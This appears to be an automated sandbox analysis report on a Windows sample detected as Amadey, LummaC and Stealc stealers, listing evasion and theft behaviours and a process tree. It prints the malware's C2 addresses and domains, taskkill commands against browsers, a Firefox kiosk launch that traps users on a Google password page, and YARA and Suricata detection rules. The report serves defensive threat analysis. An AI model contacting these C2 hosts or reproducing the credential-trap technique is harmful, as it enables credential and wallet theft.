Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1571920
MD5:	d75b31ba6f3bebdb12b9c28a09d444f9
SHA1:	80f5231691ec242eb62324bdf2986c50ae9b2ac8
SHA256:	e951c2f841b3ca0b3bb4ba865ab40d102a6074a4b6f74c0c10d99f6ea125c2cf
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found evaded block containing many API calls

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 1048 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D75B31BA6F3BEBDB12B9C28A09D444F9)

skotes.exe (PID: 6392 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: D75B31BA6F3BEBDB12B9C28A09D444F9)

skotes.exe (PID: 6036 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D75B31BA6F3BEBDB12B9C28A09D444F9)

skotes.exe (PID: 5156 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: D75B31BA6F3BEBDB12B9C28A09D444F9)

d0d9725343.exe (PID: 2528 cmdline: "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" MD5: 9A2CC9D6C6282E7B2A0FF5649A70B0DF)

conhost.exe (PID: 5896 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

d0d9725343.exe (PID: 4140 cmdline: "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" MD5: 9A2CC9D6C6282E7B2A0FF5649A70B0DF)

d0d9725343.exe (PID: 5564 cmdline: "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" MD5: 9A2CC9D6C6282E7B2A0FF5649A70B0DF)

f30149f036.exe (PID: 3132 cmdline: "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe" MD5: F7A47830F40CC4B6A06D777FAB2F42F9)

176986cc9c.exe (PID: 5440 cmdline: "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe" MD5: 2B86AAB9799FDB49D90E8D5C3F773C33)

f570600774.exe (PID: 5936 cmdline: "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe" MD5: 3A76AB70C01DA0F818F89BFE4E904EE3)

3981530833.exe (PID: 1776 cmdline: "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe" MD5: 3F7BA360C993567431731DD9E8EB6A67)

taskkill.exe (PID: 1668 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5536 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1268 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1340 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5560 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 948 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1920 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

536e42fc8b.exe (PID: 5092 cmdline: "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe" MD5: BB21543A1E27325F9EA87BAB89FACF4B)

176986cc9c.exe (PID: 3504 cmdline: "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe" MD5: 2B86AAB9799FDB49D90E8D5C3F773C33)

firefox.exe (PID: 6368 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1892 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4088 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2352 -parentBuildID 20230927232528 -prefsHandle 2288 -prefMapHandle 2284 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {745b1038-6b91-4698-a3f0-64664cce277e} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 2149b56f910 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4340 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4360 -parentBuildID 20230927232528 -prefsHandle 4316 -prefMapHandle 4328 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5763664d-1f38-4c19-9998-65a89666960a} 1892 "\\.\pipe\gecko-crash-server-pipe.1892" 214adcdc110 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

f570600774.exe (PID: 2952 cmdline: "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe" MD5: 3A76AB70C01DA0F818F89BFE4E904EE3)

3981530833.exe (PID: 7024 cmdline: "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe" MD5: 3F7BA360C993567431731DD9E8EB6A67)

taskkill.exe (PID: 6864 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": ["drive-connect.cyou", "se-blurry.biz", "zinc-sneark.biz", "dare-curbys.biz", "formy-spill.biz", "print-vexer.biz", "covery-mover.biz", "impend-differ.biz", "dwell-exclaim.biz"], "Build id": "FATE99--test"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2160499744.0000000000F41000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000E.00000002.3180012118.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.3197174045.00000000012CD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.3245722384.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3486058612.0000000004B40000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000E.00000003.3122477181.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.3197230933.00000000012D7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3190538036.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.3478917233.0000000000F4D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xb98:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001E.00000003.3258280474.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.3131338677.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.3365772900.00000000005E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000D.00000003.3190424295.00000000012C1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3164980897.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.3271234904.00000000005E1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.3271575220.00000000005E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3164239132.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3190825384.00000000012C7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000003.3365494500.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000D.00000003.3137799586.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.3351423687.0000000000728000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000D.00000003.3106209007.00000000012C6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.3354435913.0000000000A81000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: d0d9725343.exe PID: 5564	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 176986cc9c.exe PID: 5440	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 176986cc9c.exe PID: 5440	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: f570600774.exe PID: 5936	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: f570600774.exe PID: 5936	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 176986cc9c.exe PID: 3504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 3981530833.exe PID: 1776	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.file.exe.f40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.bd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.bd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
3.2.skotes.exe.bd0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5156, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\176986cc9c.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5156, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\176986cc9c.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:07:52.600943+0100	2028371	3	Unknown Traffic	192.168.2.6	50079	104.21.48.1	443	TCP
2024-12-09T21:09:13.494827+0100	2028371	3	Unknown Traffic	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:15.473267+0100	2028371	3	Unknown Traffic	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:17.894518+0100	2028371	3	Unknown Traffic	192.168.2.6	49879	172.67.139.78	443	TCP
2024-12-09T21:09:20.216536+0100	2028371	3	Unknown Traffic	192.168.2.6	49884	172.67.139.78	443	TCP
2024-12-09T21:09:22.780336+0100	2028371	3	Unknown Traffic	192.168.2.6	49891	172.67.139.78	443	TCP
2024-12-09T21:09:25.344458+0100	2028371	3	Unknown Traffic	192.168.2.6	49899	172.67.139.78	443	TCP
2024-12-09T21:09:28.495705+0100	2028371	3	Unknown Traffic	192.168.2.6	49905	172.67.139.78	443	TCP
2024-12-09T21:09:33.154989+0100	2028371	3	Unknown Traffic	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:34.232365+0100	2028371	3	Unknown Traffic	192.168.2.6	49924	172.67.139.78	443	TCP
2024-12-09T21:09:35.600959+0100	2028371	3	Unknown Traffic	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:38.000230+0100	2028371	3	Unknown Traffic	192.168.2.6	49936	104.21.48.1	443	TCP
2024-12-09T21:09:41.519430+0100	2028371	3	Unknown Traffic	192.168.2.6	49943	104.21.48.1	443	TCP
2024-12-09T21:09:44.101691+0100	2028371	3	Unknown Traffic	192.168.2.6	49951	104.21.48.1	443	TCP
2024-12-09T21:09:46.774416+0100	2028371	3	Unknown Traffic	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:47.108404+0100	2028371	3	Unknown Traffic	192.168.2.6	49960	104.21.48.1	443	TCP
2024-12-09T21:09:49.091677+0100	2028371	3	Unknown Traffic	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:49.585546+0100	2028371	3	Unknown Traffic	192.168.2.6	49973	104.21.48.1	443	TCP
2024-12-09T21:09:51.926628+0100	2028371	3	Unknown Traffic	192.168.2.6	49979	104.21.48.1	443	TCP
2024-12-09T21:09:54.748280+0100	2028371	3	Unknown Traffic	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:09:55.294841+0100	2028371	3	Unknown Traffic	192.168.2.6	49994	104.21.48.1	443	TCP
2024-12-09T21:09:59.001138+0100	2028371	3	Unknown Traffic	192.168.2.6	50013	104.21.48.1	443	TCP
2024-12-09T21:10:04.213257+0100	2028371	3	Unknown Traffic	192.168.2.6	50033	104.21.48.1	443	TCP
2024-12-09T21:10:06.715591+0100	2028371	3	Unknown Traffic	192.168.2.6	50041	104.21.48.1	443	TCP
2024-12-09T21:10:09.484980+0100	2028371	3	Unknown Traffic	192.168.2.6	50050	104.21.48.1	443	TCP
2024-12-09T21:10:17.127406+0100	2028371	3	Unknown Traffic	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:21.138990+0100	2028371	3	Unknown Traffic	192.168.2.6	50074	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:14.202655+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:16.213022+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:34.141395+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:35.255676+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49924	172.67.139.78	443	TCP
2024-12-09T21:09:36.350431+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:47.803048+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:49.858611+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:55.507292+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:10:17.895072+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:21.891581+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50074	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:14.202655+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49867	172.67.139.78	443	TCP
2024-12-09T21:09:34.141395+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:47.803048+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:10:17.895072+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50065	104.21.48.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:16.213022+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49873	172.67.139.78	443	TCP
2024-12-09T21:09:36.350431+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:49.858611+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:10:21.891581+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50074	104.21.48.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:07:52.600943+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50079	104.21.48.1	443	TCP
2024-12-09T21:09:33.154989+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49921	104.21.48.1	443	TCP
2024-12-09T21:09:35.600959+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49930	104.21.48.1	443	TCP
2024-12-09T21:09:38.000230+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49936	104.21.48.1	443	TCP
2024-12-09T21:09:41.519430+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49943	104.21.48.1	443	TCP
2024-12-09T21:09:44.101691+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49951	104.21.48.1	443	TCP
2024-12-09T21:09:46.774416+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49958	104.21.48.1	443	TCP
2024-12-09T21:09:47.108404+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49960	104.21.48.1	443	TCP
2024-12-09T21:09:49.091677+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49967	104.21.48.1	443	TCP
2024-12-09T21:09:49.585546+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49973	104.21.48.1	443	TCP
2024-12-09T21:09:51.926628+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49979	104.21.48.1	443	TCP
2024-12-09T21:09:54.748280+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49992	104.21.48.1	443	TCP
2024-12-09T21:09:55.294841+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	49994	104.21.48.1	443	TCP
2024-12-09T21:09:59.001138+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50013	104.21.48.1	443	TCP
2024-12-09T21:10:04.213257+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50033	104.21.48.1	443	TCP
2024-12-09T21:10:06.715591+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50041	104.21.48.1	443	TCP
2024-12-09T21:10:09.484980+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50050	104.21.48.1	443	TCP
2024-12-09T21:10:17.127406+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50065	104.21.48.1	443	TCP
2024-12-09T21:10:21.138990+0100	2057922	1	Domain Observed Used for C2 Detected	192.168.2.6	50074	104.21.48.1	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:56.981463+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	50000	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:15.077061+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49868	185.215.113.43	80	TCP
2024-12-09T21:09:23.795328+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49892	185.215.113.43	80	TCP
2024-12-09T21:09:32.579782+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49916	185.215.113.43	80	TCP
2024-12-09T21:09:40.974986+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49942	185.215.113.43	80	TCP
2024-12-09T21:09:48.316285+0100	2044696	1	A Network Trojan was detected	192.168.2.6	49965	185.215.113.43	80	TCP
2024-12-09T21:09:58.614446+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50008	185.215.113.43	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T21:09:31.671259+0100	2057921	1	Domain Observed Used for C2 Detected	192.168.2.6	55941	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

